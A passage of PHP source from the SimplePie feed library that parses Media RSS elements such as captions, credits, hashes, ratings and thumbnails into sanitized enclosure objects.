                                    $caption_lang = null;
                                    $caption_startTime = null;
                                    $caption_endTime = null;
                                    $caption_text = null;
                                    if (isset($caption['attribs']['']['type'])) {
                                        $caption_type = $this->sanitize($caption['attribs']['']['type'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                                    }
                                    if (isset($caption['attribs']['']['lang'])) {
                                        $caption_lang = $this->sanitize($caption['attribs']['']['lang'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                                    }
                                    if (isset($caption['attribs']['']['start'])) {
                                        $caption_startTime = $this->sanitize($caption['attribs']['']['start'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                                    }
                                    if (isset($caption['attribs']['']['end'])) {
                                        $caption_endTime = $this->sanitize($caption['attribs']['']['end'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                                    }
                                    if (isset($caption['data'])) {
                                        $caption_text = $this->sanitize($caption['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                                    }
                                    $captions[] = $this->registry->create(Caption::class, [$caption_type, $caption_lang, $caption_startTime, $caption_endTime, $caption_text]);
                                }
                                if (is_array($captions)) {
                                    $captions = array_values(array_unique($captions));
                                }
                            } elseif (isset($group['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['text'])) {
                                foreach ($group['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['text'] as $caption) {
                                    $caption_type = null;
                                    $caption_lang = null;
                                    $caption_startTime = null;
                                    $caption_endTime = null;
                                    $caption_text = null;
                                    if (isset($caption['attribs']['']['type'])) {
                                        $caption_type = $this->sanitize($caption['attribs']['']['type'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                                    }
                                    if (isset($caption['attribs']['']['lang'])) {
                                        $caption_lang = $this->sanitize($caption['attribs']['']['lang'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                                    }
                                    if (isset($caption['attribs']['']['start'])) {
                                        $caption_startTime = $this->sanitize($caption['attribs']['']['start'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                                    }
                                    if (isset($caption['attribs']['']['end'])) {
                                        $caption_endTime = $this->sanitize($caption['attribs']['']['end'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                                    }
                                    if (isset($caption['data'])) {
                                        $caption_text = $this->sanitize($caption['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                                    }
                                    $captions[] = $this->registry->create(Caption::class, [$caption_type, $caption_lang, $caption_startTime, $caption_endTime, $caption_text]);
                                }
                                if (is_array($captions)) {
                                    $captions = array_values(array_unique($captions));
                                }
                            } else {
                                $captions = $captions_parent;
                            }

                            // CATEGORIES
                            if (isset($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['category'])) {
                                foreach ((array) $content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['category'] as $category) {
                                    $term = null;
                                    $scheme = null;
                                    $label = null;
                                    if (isset($category['data'])) {
                                        $term = $this->sanitize($category['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                                    }
                                    if (isset($category['attribs']['']['scheme'])) {
                                        $scheme = $this->sanitize($category['attribs']['']['scheme'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                                    } else {
                                        $scheme = 'http://search.yahoo.com/mrss/category_schema';
                                    }
                                    if (isset($category['attribs']['']['label'])) {
                                        $label = $this->sanitize($category['attribs']['']['label'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                                    }
                                    $categories[] = $this->registry->create(Category::class, [$term, $scheme, $label]);
                                }
                            }
                            if (isset($group['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['category'])) {
                                foreach ((array) $group['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['category'] as $category) {
                                    $term = null;
                                    $scheme = null;
                                    $label = null;
                                    if (isset($category['data'])) {
                                        $term = $this->sanitize($category['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                                    }
                                    if (isset($category['attribs']['']['scheme'])) {
                                        $scheme = $this->sanitize($category['attribs']['']['scheme'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                                    } else {
                                        $scheme = 'http://search.yahoo.com/mrss/category_schema';
                                    }
                                    if (isset($category['attribs']['']['label'])) {
                                        $label = $this->sanitize($category['attribs']['']['label'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                                    }
                                    $categories[] = $this->registry->create(Category::class, [$term, $scheme, $label]);
                                }
                            }
                            if (is_array($categories) && is_array($categories_parent)) {
                                $categories = array_values(array_unique(array_merge($categories, $categories_parent)));
                            } elseif (is_array($categories)) {
                                $categories = array_values(array_unique($categories));
                            } elseif (is_array($categories_parent)) {
                                $categories = array_values(array_unique($categories_parent));
                            }

                            // COPYRIGHTS
                            if (isset($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['copyright'])) {
                                $copyright_url = null;
                                $copyright_label = null;
                                if (isset($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['copyright'][0]['attribs']['']['url'])) {
                                    $copyright_url = $this->sanitize($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['copyright'][0]['attribs']['']['url'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                                }
                                if (isset($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['copyright'][0]['data'])) {
                                    $copyright_label = $this->sanitize($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['copyright'][0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                                }
                                $copyrights = $this->registry->create(Copyright::class, [$copyright_url, $copyright_label]);
                            } elseif (isset($group['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['copyright'])) {
                                $copyright_url = null;
                                $copyright_label = null;
                                if (isset($group['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['copyright'][0]['attribs']['']['url'])) {
                                    $copyright_url = $this->sanitize($group['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['copyright'][0]['attribs']['']['url'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                                }
                                if (isset($group['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['copyright'][0]['data'])) {
                                    $copyright_label = $this->sanitize($group['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['copyright'][0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                                }
                                $copyrights = $this->registry->create(Copyright::class, [$copyright_url, $copyright_label]);
                            } else {
                                $copyrights = $copyrights_parent;
                            }

                            // CREDITS
                            if (isset($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['credit'])) {
                                foreach ($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['credit'] as $credit) {
                                    $credit_role = null;
                                    $credit_scheme = null;
                                    $credit_name = null;
                                    if (isset($credit['attribs']['']['role'])) {
                                        $credit_role = $this->sanitize($credit['attribs']['']['role'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                                    }
                                    if (isset($credit['attribs']['']['scheme'])) {
                                        $credit_scheme = $this->sanitize($credit['attribs']['']['scheme'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                                    } else {
                                        $credit_scheme = 'urn:ebu';
                                    }
                                    if (isset($credit['data'])) {
                                        $credit_name = $this->sanitize($credit['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                                    }
                                    $credits[] = $this->registry->create(Credit::class, [$credit_role, $credit_scheme, $credit_name]);
                                }
                                if (is_array($credits)) {
                                    $credits = array_values(array_unique($credits));
                                }
                            } elseif (isset($group['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['credit'])) {
                                foreach ($group['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['credit'] as $credit) {
                                    $credit_role = null;
                                    $credit_scheme = null;
                                    $credit_name = null;
                                    if (isset($credit['attribs']['']['role'])) {
                                        $credit_role = $this->sanitize($credit['attribs']['']['role'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                                    }
                                    if (isset($credit['attribs']['']['scheme'])) {
                                        $credit_scheme = $this->sanitize($credit['attribs']['']['scheme'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                                    } else {
                                        $credit_scheme = 'urn:ebu';
                                    }
                                    if (isset($credit['data'])) {
                                        $credit_name = $this->sanitize($credit['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                                    }
                                    $credits[] = $this->registry->create(Credit::class, [$credit_role, $credit_scheme, $credit_name]);
                                }
                                if (is_array($credits)) {
                                    $credits = array_values(array_unique($credits));
                                }
                            } else {
                                $credits = $credits_parent;
                            }

                            // DESCRIPTION
                            if (isset($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['description'])) {
                                $description = $this->sanitize($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['description'][0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                            } elseif (isset($group['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['description'])) {
                                $description = $this->sanitize($group['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['description'][0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                            } else {
                                $description = $description_parent;
                            }

                            // HASHES
                            if (isset($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['hash'])) {
                                foreach ($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['hash'] as $hash) {
                                    $value = null;
                                    $algo = null;
                                    if (isset($hash['data'])) {
                                        $value = $this->sanitize($hash['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                                    }
                                    if (isset($hash['attribs']['']['algo'])) {
                                        $algo = $this->sanitize($hash['attribs']['']['algo'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                                    } else {
                                        $algo = 'md5';
                                    }
                                    $hashes[] = $algo.':'.$value;
                                }
                                if (is_array($hashes)) {
                                    $hashes = array_values(array_unique($hashes));
                                }
                            } elseif (isset($group['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['hash'])) {
                                foreach ($group['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['hash'] as $hash) {
                                    $value = null;
                                    $algo = null;
                                    if (isset($hash['data'])) {
                                        $value = $this->sanitize($hash['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                                    }
                                    if (isset($hash['attribs']['']['algo'])) {
                                        $algo = $this->sanitize($hash['attribs']['']['algo'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                                    } else {
                                        $algo = 'md5';
                                    }
                                    $hashes[] = $algo.':'.$value;
                                }
                                if (is_array($hashes)) {
                                    $hashes = array_values(array_unique($hashes));
                                }
                            } else {
                                $hashes = $hashes_parent;
                            }

                            // KEYWORDS
                            if (isset($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['keywords'])) {
                                if (isset($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['keywords'][0]['data'])) {
                                    $temp = explode(',', $this->sanitize($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['keywords'][0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT));
                                    foreach ($temp as $word) {
                                        $keywords[] = trim($word);
                                    }
                                    unset($temp);
                                }
                                if (is_array($keywords)) {
                                    $keywords = array_values(array_unique($keywords));
                                }
                            } elseif (isset($group['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['keywords'])) {
                                if (isset($group['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['keywords'][0]['data'])) {
                                    $temp = explode(',', $this->sanitize($group['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['keywords'][0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT));
                                    foreach ($temp as $word) {
                                        $keywords[] = trim($word);
                                    }
                                    unset($temp);
                                }
                                if (is_array($keywords)) {
                                    $keywords = array_values(array_unique($keywords));
                                }
                            } else {
                                $keywords = $keywords_parent;
                            }

                            // PLAYER
                            if (isset($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['player'])) {
                                $playerElem = $content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['player'][0];
                                $player = $this->sanitize($playerElem['attribs']['']['url'], \SimplePie\SimplePie::CONSTRUCT_IRI, $this->get_own_base($playerElem));
                            } elseif (isset($group['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['player'])) {
                                $playerElem = $group['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['player'][0];
                                $player = $this->sanitize($playerElem['attribs']['']['url'], \SimplePie\SimplePie::CONSTRUCT_IRI, $this->get_own_base($playerElem));
                            } else {
                                $player = $player_parent;
                            }

                            // RATINGS
                            if (isset($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['rating'])) {
                                foreach ($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['rating'] as $rating) {
                                    $rating_scheme = null;
                                    $rating_value = null;
                                    if (isset($rating['attribs']['']['scheme'])) {
                                        $rating_scheme = $this->sanitize($rating['attribs']['']['scheme'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                                    } else {
                                        $rating_scheme = 'urn:simple';
                                    }
                                    if (isset($rating['data'])) {
                                        $rating_value = $this->sanitize($rating['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                                    }
                                    $ratings[] = $this->registry->create(Rating::class, [$rating_scheme, $rating_value]);
                                }
                                if (is_array($ratings)) {
                                    $ratings = array_values(array_unique($ratings));
                                }
                            } elseif (isset($group['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['rating'])) {
                                foreach ($group['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['rating'] as $rating) {
                                    $rating_scheme = null;
                                    $rating_value = null;
                                    if (isset($rating['attribs']['']['scheme'])) {
                                        $rating_scheme = $this->sanitize($rating['attribs']['']['scheme'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                                    } else {
                                        $rating_scheme = 'urn:simple';
                                    }
                                    if (isset($rating['data'])) {
                                        $rating_value = $this->sanitize($rating['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                                    }
                                    $ratings[] = $this->registry->create(Rating::class, [$rating_scheme, $rating_value]);
                                }
                                if (is_array($ratings)) {
                                    $ratings = array_values(array_unique($ratings));
                                }
                            } else {
                                $ratings = $ratings_parent;
                            }

                            // RESTRICTIONS
                            if (isset($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['restriction'])) {
                                foreach ($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['restriction'] as $restriction) {
                                    $restriction_relationship = null;
                                    $restriction_type = null;
                                    $restriction_value = null;
                                    if (isset($restriction['attribs']['']['relationship'])) {
                                        $restriction_relationship = $this->sanitize($restriction['attribs']['']['relationship'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                                    }
                                    if (isset($restriction['attribs']['']['type'])) {
                                        $restriction_type = $this->sanitize($restriction['attribs']['']['type'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                                    }
                                    if (isset($restriction['data'])) {
                                        $restriction_value = $this->sanitize($restriction['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                                    }
                                    $restrictions[] = $this->registry->create(Restriction::class, [$restriction_relationship, $restriction_type, $restriction_value]);
                                }
                                if (is_array($restrictions)) {
                                    $restrictions = array_values(array_unique($restrictions));
                                }
                            } elseif (isset($group['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['restriction'])) {
                                foreach ($group['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['restriction'] as $restriction) {
                                    $restriction_relationship = null;
                                    $restriction_type = null;
                                    $restriction_value = null;
                                    if (isset($restriction['attribs']['']['relationship'])) {
                                        $restriction_relationship = $this->sanitize($restriction['attribs']['']['relationship'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                                    }
                                    if (isset($restriction['attribs']['']['type'])) {
                                        $restriction_type = $this->sanitize($restriction['attribs']['']['type'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                                    }
                                    if (isset($restriction['data'])) {
                                        $restriction_value = $this->sanitize($restriction['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                                    }
                                    $restrictions[] = $this->registry->create(Restriction::class, [$restriction_relationship, $restriction_type, $restriction_value]);
                                }
                                if (is_array($restrictions)) {
                                    $restrictions = array_values(array_unique($restrictions));
                                }
                            } else {
                                $restrictions = $restrictions_parent;
                            }

                            // THUMBNAILS
                            if (isset($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['thumbnail'])) {
                                foreach ($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['thumbnail'] as $thumbnail) {
                                    $thumbnails[] = $this->sanitize($thumbnail['attribs']['']['url'], \SimplePie\SimplePie::CONSTRUCT_IRI, $this->get_own_base($thumbnail));
                                }
                                if (is_array($thumbnails)) {
                                    $thumbnails = array_values(array_unique($thumbnails));
                                }
                            } elseif (isset($group['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['thumbnail'])) {
                                foreach ($group['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['thumbnail'] as $thumbnail) {
                                    $thumbnails[] = $this->sanitize($thumbnail['attribs']['']['url'], \SimplePie\SimplePie::CONSTRUCT_IRI, $this->get_own_base($thumbnail));
                                }
                                if (is_array($thumbnails)) {
                                    $thumbnails = array_values(array_unique($thumbnails));
                                }
                            } else {
                                $thumbnails = $thumbnails_parent;
                            }

                            // TITLES
                            if (isset($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['title'])) {
                                $title = $this->sanitize($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['title'][0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                            } elseif (isset($group['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['title'])) {
                                $title = $this->sanitize($group['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['title'][0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                            } else {
                                $title = $title_parent;
                            }

                            $this->data['enclosures'][] = $this->registry->create(Enclosure::class, [$url, $type, $length, null, $bitrate, $captions, $categories, $channels, $copyrights, $credits, $description, $duration, $expression, $framerate, $hashes, $height, $keywords, $lang, $medium, $player, $ratings, $restrictions, $samplingrate, $thumbnails, $title, $width]);
                        }
                    }
                }
            }

            // If we have standalone media:content tags, loop through them.
            if (isset($this->data['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['content'])) {
                foreach ((array) $this->data['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['content'] as $content) {
                    if (isset($content['attribs']['']['url']) || isset($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['player'])) {
                        // Attributes
                        $bitrate = null;
                        $channels = null;
                        $duration = null;
                        $expression = null;
                        $framerate = null;
                        $height = null;
                        $javascript = null;
                        $lang = null;
                        $length = null;
                        $medium = null;
                        $samplingrate = null;
                        $type = null;
                        $url = null;
                        $width = null;

                        // Elements
                        $captions = null;
                        $categories = null;
                        $copyrights = null;
                        $credits = null;
                        $description = null;
                        $hashes = null;
                        $keywords = null;
                        $player = null;
                        $ratings = null;
                        $restrictions = null;
                        $thumbnails = null;
                        $title = null;

                        // Start checking the attributes of media:content
                        if (isset($content['attribs']['']['bitrate'])) {
                            $bitrate = $this->sanitize($content['attribs']['']['bitrate'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                        }
                        if (isset($content['attribs']['']['channels'])) {
                            $channels = $this->sanitize($content['attribs']['']['channels'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                        }
                        if (isset($content['attribs']['']['duration'])) {
                            $duration = $this->sanitize($content['attribs']['']['duration'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                        } else {
                            $duration = $duration_parent;
                        }
                        if (isset($content['attribs']['']['expression'])) {
                            $expression = $this->sanitize($content['attribs']['']['expression'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                        }
                        if (isset($content['attribs']['']['framerate'])) {
                            $framerate = $this->sanitize($content['attribs']['']['framerate'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                        }
                        if (isset($content['attribs']['']['height'])) {
                            $height = $this->sanitize($content['attribs']['']['height'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                        }
                        if (isset($content['attribs']['']['lang'])) {
                            $lang = $this->sanitize($content['attribs']['']['lang'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                        }
                        if (isset($content['attribs']['']['fileSize'])) {
                            $length = intval($content['attribs']['']['fileSize']);
                        }
                        if (isset($content['attribs']['']['medium'])) {
                            $medium = $this->sanitize($content['attribs']['']['medium'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                        }
                        if (isset($content['attribs']['']['samplingrate'])) {
                            $samplingrate = $this->sanitize($content['attribs']['']['samplingrate'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                        }
                        if (isset($content['attribs']['']['type'])) {
                            $type = $this->sanitize($content['attribs']['']['type'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                        }
                        if (isset($content['attribs']['']['width'])) {
                            $width = $this->sanitize($content['attribs']['']['width'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                        }
                        if (isset($content['attribs']['']['url'])) {
                            $url = $this->sanitize($content['attribs']['']['url'], \SimplePie\SimplePie::CONSTRUCT_IRI, $this->get_own_base($content));
                        }
                        // Checking the other optional media: elements. Priority: media:content, media:group, item, channel

                        // CAPTIONS
                        if (isset($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['text'])) {
                            foreach ($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['text'] as $caption) {
                                $caption_type = null;
                                $caption_lang = null;
                                $caption_startTime = null;
                                $caption_endTime = null;
                                $caption_text = null;
                                if (isset($caption['attribs']['']['type'])) {
                                    $caption_type = $this->sanitize($caption['attribs']['']['type'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                                }
                                if (isset($caption['attribs']['']['lang'])) {
                                    $caption_lang = $this->sanitize($caption['attribs']['']['lang'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                                }
                                if (isset($caption['attribs']['']['start'])) {
                                    $caption_startTime = $this->sanitize($caption['attribs']['']['start'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                                }
                                if (isset($caption['attribs']['']['end'])) {
                                    $caption_endTime = $this->sanitize($caption['attribs']['']['end'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                                }
                                if (isset($caption['data'])) {
                                    $caption_text = $this->sanitize($caption['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                                }
                                $captions[] = $this->registry->create(Caption::class, [$caption_type, $caption_lang, $caption_startTime, $caption_endTime, $caption_text]);
                            }
                            if (is_array($captions)) {
                                $captions = array_values(array_unique($captions));
                            }
                        } else {
                            $captions = $captions_parent;
                        }

                        // CATEGORIES
                        if (isset($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['category'])) {
                            foreach ((array) $content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['category'] as $category) {
                                $term = null;
                                $scheme = null;
                                $label = null;
                                if (isset($category['data'])) {
                                    $term = $this->sanitize($category['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                                }
                                if (isset($category['attribs']['']['scheme'])) {
                                    $scheme = $this->sanitize($category['attribs']['']['scheme'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                                } else {
                                    $scheme = 'http://search.yahoo.com/mrss/category_schema';
                                }
                                if (isset($category['attribs']['']['label'])) {
                                    $label = $this->sanitize($category['attribs']['']['label'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                                }
                                $categories[] = $this->registry->create(Category::class, [$term, $scheme, $label]);
                            }
                        }
                        if (is_array($categories) && is_array($categories_parent)) {
                            $categories = array_values(array_unique(array_merge($categories, $categories_parent)));
                        } elseif (is_array($categories)) {
                            $categories = array_values(array_unique($categories));
                        } elseif (is_array($categories_parent)) {
                            $categories = array_values(array_unique($categories_parent));
                        } else {
                            $categories = null;
                        }

                        // COPYRIGHTS
                        if (isset($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['copyright'])) {
                            $copyright_url = null;
                            $copyright_label = null;
                            if (isset($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['copyright'][0]['attribs']['']['url'])) {
                                $copyright_url = $this->sanitize($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['copyright'][0]['attribs']['']['url'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                            }
                            if (isset($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['copyright'][0]['data'])) {
                                $copyright_label = $this->sanitize($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['copyright'][0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                            }
                            $copyrights = $this->registry->create(Copyright::class, [$copyright_url, $copyright_label]);
                        } else {
                            $copyrights = $copyrights_parent;
                        }

                        // CREDITS
                        if (isset($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['credit'])) {
                            foreach ($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['credit'] as $credit) {
                                $credit_role = null;
                                $credit_scheme = null;
                                $credit_name = null;
                                if (isset($credit['attribs']['']['role'])) {
                                    $credit_role = $this->sanitize($credit['attribs']['']['role'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                                }
                                if (isset($credit['attribs']['']['scheme'])) {
                                    $credit_scheme = $this->sanitize($credit['attribs']['']['scheme'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                                } else {
                                    $credit_scheme = 'urn:ebu';
                                }
                                if (isset($credit['data'])) {
                                    $credit_name = $this->sanitize($credit['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                                }
                                $credits[] = $this->registry->create(Credit::class, [$credit_role, $credit_scheme, $credit_name]);
                            }
                            if (is_array($credits)) {
                                $credits = array_values(array_unique($credits));
                            }
                        } else {
                            $credits = $credits_parent;
                        }

                        // DESCRIPTION
                        if (isset($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['description'])) {
                            $description = $this->sanitize($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['description'][0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                        } else {
                            $description = $description_parent;
                        }

                        // HASHES
                        if (isset($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['hash'])) {
                            foreach ($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['hash'] as $hash) {
                                $value = null;
                                $algo = null;
                                if (isset($hash['data'])) {
                                    $value = $this->sanitize($hash['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                                }
                                if (isset($hash['attribs']['']['algo'])) {
                                    $algo = $this->sanitize($hash['attribs']['']['algo'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                                } else {
                                    $algo = 'md5';
                                }
                                $hashes[] = $algo.':'.$value;
                            }
                            if (is_array($hashes)) {
                                $hashes = array_values(array_unique($hashes));
                            }
                        } else {
                            $hashes = $hashes_parent;
                        }

                        // KEYWORDS
                        if (isset($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['keywords'])) {
                            if (isset($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['keywords'][0]['data'])) {
                                $temp = explode(',', $this->sanitize($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['keywords'][0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT));
                                foreach ($temp as $word) {
                                    $keywords[] = trim($word);
                                }
                                unset($temp);
                            }
                            if (is_array($keywords)) {
                                $keywords = array_values(array_unique($keywords));
                            }
                        } else {
                            $keywords = $keywords_parent;
                        }

                        // PLAYER
                        if (isset($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['player'])) {
                            if (isset($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['player'][0]['attribs']['']['url'])) {
                                $playerElem = $content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['player'][0];
                                $player = $this->sanitize($playerElem['attribs']['']['url'], \SimplePie\SimplePie::CONSTRUCT_IRI, $this->get_own_base($playerElem));
                            }
                        } else {
                            $player = $player_parent;
                        }

                        // RATINGS
                        if (isset($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['rating'])) {
                            foreach ($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['rating'] as $rating) {
                                $rating_scheme = null;
                                $rating_value = null;
                                if (isset($rating['attribs']['']['scheme'])) {
                                    $rating_scheme = $this->sanitize($rating['attribs']['']['scheme'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                                } else {
                                    $rating_scheme = 'urn:simple';
                                }
                                if (isset($rating['data'])) {
                                    $rating_value = $this->sanitize($rating['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                                }
                                $ratings[] = $this->registry->create(Rating::class, [$rating_scheme, $rating_value]);
                            }
                            if (is_array($ratings)) {
                                $ratings = array_values(array_unique($ratings));
                            }
                        } else {
                            $ratings = $ratings_parent;
                        }

                        // RESTRICTIONS
                        if (isset($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['restriction'])) {
                            foreach ($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['restriction'] as $restriction) {
                                $restriction_relationship = null;
                                $restriction_type = null;
                                $restriction_value = null;
                                if (isset($restriction['attribs']['']['relationship'])) {
                                    $restriction_relationship = $this->sanitize($restriction['attribs']['']['relationship'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                                }
